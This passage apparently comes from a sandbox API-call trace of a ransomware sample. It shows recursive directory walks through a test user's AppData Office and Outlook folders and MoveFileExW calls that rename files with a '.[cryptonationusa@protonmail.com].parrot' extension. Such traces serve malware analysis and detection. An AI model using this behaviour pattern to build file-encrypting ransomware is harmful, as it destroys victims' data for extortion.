lpNewFilePointer=0x0) returned 1 [0077.011] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0077.011] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0077.011] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSF-CTBL.FSF" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\14.0\\officefilecache\\fsf-ctbl.fsf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSF-CTBL.FSF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\14.0\\officefilecache\\fsf-ctbl.fsf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0077.013] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0077.013] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7a855a0, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xbb623340, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbb623340, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.013] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf7aab700, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7aab700, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xbb58adc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x20128, dwReserved0=0x0, dwReserved1=0x0, cFileName="FSD-CNRY.FSD.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="FSD-CN~1.PAR")) returned 1 [0077.013] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5da458 [0077.014] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0077.014] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x197ec0b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf7a855a0, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7a855a0, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.016] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7a855a0, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xbb623340, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbb623340, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeFileCache", cAlternateFileName="OFFICE~1")) returned 1 [0077.016] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7a855a0, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xbb623340, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbb623340, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeFileCache", cAlternateFileName="OFFICE~1")) returned 0 [0077.016] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0077.016] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.016] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.016] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0077.016] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.016] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0077.016] lstrcmpW (lpString1="System", lpString2=".") returned 1 [0077.016] lstrcmpW (lpString1="System", lpString2="..") returned 1 [0077.016] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6aa9c8 [0077.016] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd6) returned 0x5e9ca0 [0077.016] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\System\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0077.017] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.017] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.018] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0077.018] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.018] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0077.018] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x317bf90 [0077.018] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\System\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0077.018] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.018] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0077.018] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\User\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0077.019] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.019] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.019] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0077.019] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.019] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0077.019] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x317bf90 [0077.019] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\User\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0077.019] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.019] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0077.020] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0077.020] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.021] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0077.021] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User", cAlternateFileName="")) returned 1 [0077.021] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User", cAlternateFileName="")) returned 0 [0077.021] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0077.022] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.022] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb72310, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x29ae1d20, ftLastAccessTime.dwHighDateTime=0x1d2e626, ftLastWriteTime.dwLowDateTime=0x29ae1d20, ftLastWriteTime.dwHighDateTime=0x1d2e626, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.022] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0077.022] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.022] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4bd15230, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x29ae1d20, ftLastAccessTime.dwHighDateTime=0x1d2e626, ftLastWriteTime.dwLowDateTime=0x29ae1d20, ftLastWriteTime.dwHighDateTime=0x1d2e626, nFileSizeHigh=0x0, nFileSizeLow=0x80, dwReserved0=0x0, dwReserved1=0x0, cFileName="350db95df4cbd94b2a1c300510e12e11.sig", cAlternateFileName="350DB9~1.SIG")) returned 1 [0077.022] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eba28 [0077.025] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0077.025] ReadFile (in: hFile=0x264, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0077.026] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.026] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x80, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0x80, lpOverlapped=0x0) returned 1 [0077.026] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0077.026] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.026] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0077.026] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0077.027] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.sig" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\onetconfig\\350db95df4cbd94b2a1c300510e12e11.sig"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.sig.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\onetconfig\\350db95df4cbd94b2a1c300510e12e11.sig.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0077.033] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0077.034] ReadFile (in: hFile=0x264, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0077.035] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.035] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x7ef, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0x7ef, lpOverlapped=0x0) returned 1 [0077.035] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0077.035] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.035] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0077.035] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0077.036] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\onetconfig\\350db95df4cbd94b2a1c300510e12e11.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\onetconfig\\350db95df4cbd94b2a1c300510e12e11.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0077.038] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0077.038] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb72310, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbb66f600, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbb66f600, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.038] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4bd15230, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x29ae1d20, ftLastAccessTime.dwHighDateTime=0x1d2e626, ftLastWriteTime.dwLowDateTime=0xbb6494a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="350db95df4cbd94b2a1c300510e12e11.sig.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="350DB9~1.PAR")) returned 1 [0077.038] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x317bf90 [0077.039] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0077.039] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4bb72310, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb72310, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.040] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x197ec0b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf7a855a0, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7a855a0, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14.0", cAlternateFileName="")) returned 1 [0077.040] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Groove", cAlternateFileName="")) returned 1 [0077.040] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb72310, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbb66f600, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbb66f600, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONetConfig", cAlternateFileName="ONETCO~1")) returned 1 [0077.040] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb72310, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbb66f600, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbb66f600, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONetConfig", cAlternateFileName="ONETCO~1")) returned 0 [0077.041] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0077.041] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.041] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3dc40980, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x609dab00, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.041] 